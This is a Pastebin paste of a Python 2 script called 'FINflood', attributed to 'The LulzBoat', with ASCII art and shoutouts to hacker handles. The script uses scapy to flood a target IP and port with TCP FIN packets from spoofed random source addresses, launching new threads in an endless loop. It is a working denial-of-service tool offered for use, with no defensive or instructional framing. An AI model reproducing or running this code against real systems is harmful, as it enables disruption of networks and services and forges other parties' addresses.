Advertisement
Lulz-Tigre

LulzFinFlood

Apr 29th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.64 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #########################################
  3. #
  4. # FINflood - A multithreaded FIN Flooder
  5. # By:The LulzBoat
  6. #
  7. #
  8. #########################################
  9. import socket, random, sys, threading
  10. from scapy.all import *
  11.  
  12. if len(sys.argv) != 3:
  13.     print "Usage: %s <Target IP> <Port>" % sys.argv[0]
  14.     sys.exit(1)
  15.  
  16. target = sys.argv[1]
  17. port = int(sys.argv[2])
  18.  
  19. total = 0
  20. conf.iface='wlan0';#network card XD
  21.  
  22. class sendSYN(threading.Thread):
  23.     global target, port
  24.     def __init__(self):
  25.         threading.Thread.__init__(self)
  26.     def run(self):
  27.         i = IP()
  28.         i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
  29.         i.dst = target
  30.  
  31.         t = TCP()
  32.         t.sport = random.randint(1,65535)
  33.         t.dport = port
  34.         t.flags = 'F'
  35.  
  36.         send(i/t, verbose=0)
  37.  
  38. print"""
  39.                _.--| LuLz|:                    
  40.               <____|.----||                    
  41.                      .---''---,                
  42.   The                 ;..__..'    _...        
  43.    Lulz            , '/  ||/..--''    \      
  44.     Boat         ,'_ /'.-||            :      
  45.      2017   _..-' ''/    ||  \   \  _|/|    
  46.           \       /-._;/||   \   \,;'   \  
  47.           ,\     /    /`||    \  //    `:`.  
  48.         ,'  \   /-._;/  ||    : ::    ,.   .
  49.       ,'     \ /    /`-.||    | || ' :  `.`.)
  50.    _,'        |;._: /|  ;||    | `|   :    `'
  51.  ,'   `.      /    /`-:_/||    |  |  : \    
  52.  `--.   )    /'-._/    /:||       |   \ \    
  53.     /  /    /'_  /;`-./_;||__..--';    : :    
  54.    /  (    /  -./_  _/  .||'o |   /     ' |    
  55.   /  , \._/_/_./--''/_  /||___|_,'      | |    
  56.  :  /   `'-'--'----'---------'          / |    
  57.  | :     O ._O   O_. O ._O   O_.       ; ;    
  58.  : `.      //    //    //    //       /    
  59. ~~~`.______//____//____//____//_______ ,'~~    
  60.          //    //~   //    // ~ ~ ~ ~~~~    
  61.   ~~   _//   _//   _// ~ _//    ~  ~ ~ ~    
  62. ~     / /   / /   / /   / /  ~      ~~      
  63.      ~~~   ~~~   ~~~   ~~~                  
  64.                                   Setting Sail to the horizon.
  65.                                              Yours
  66.                                        lulzSecurity2017
  67.                                           % |\| |\| %
  68.  
  69.  
  70.      Shoutz to
  71.      ______________________________________________
  72.     |Sensei, Blk Phox, LulzTigre, K0d3r, Ub3r_r00t |
  73.     |Shifu, An0nz0r, SingSangSong, Cod3corrupt     |
  74.     _______________________________________________ """
  75. print "Flooding %s:%i with FIN packets." % (target, port)
  76. while 1:
  77.     sendSYN().start()
  78.     total += 1
  79.     sys.stdout.write("\r Packets Sended:\t\t\t%i" % total)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement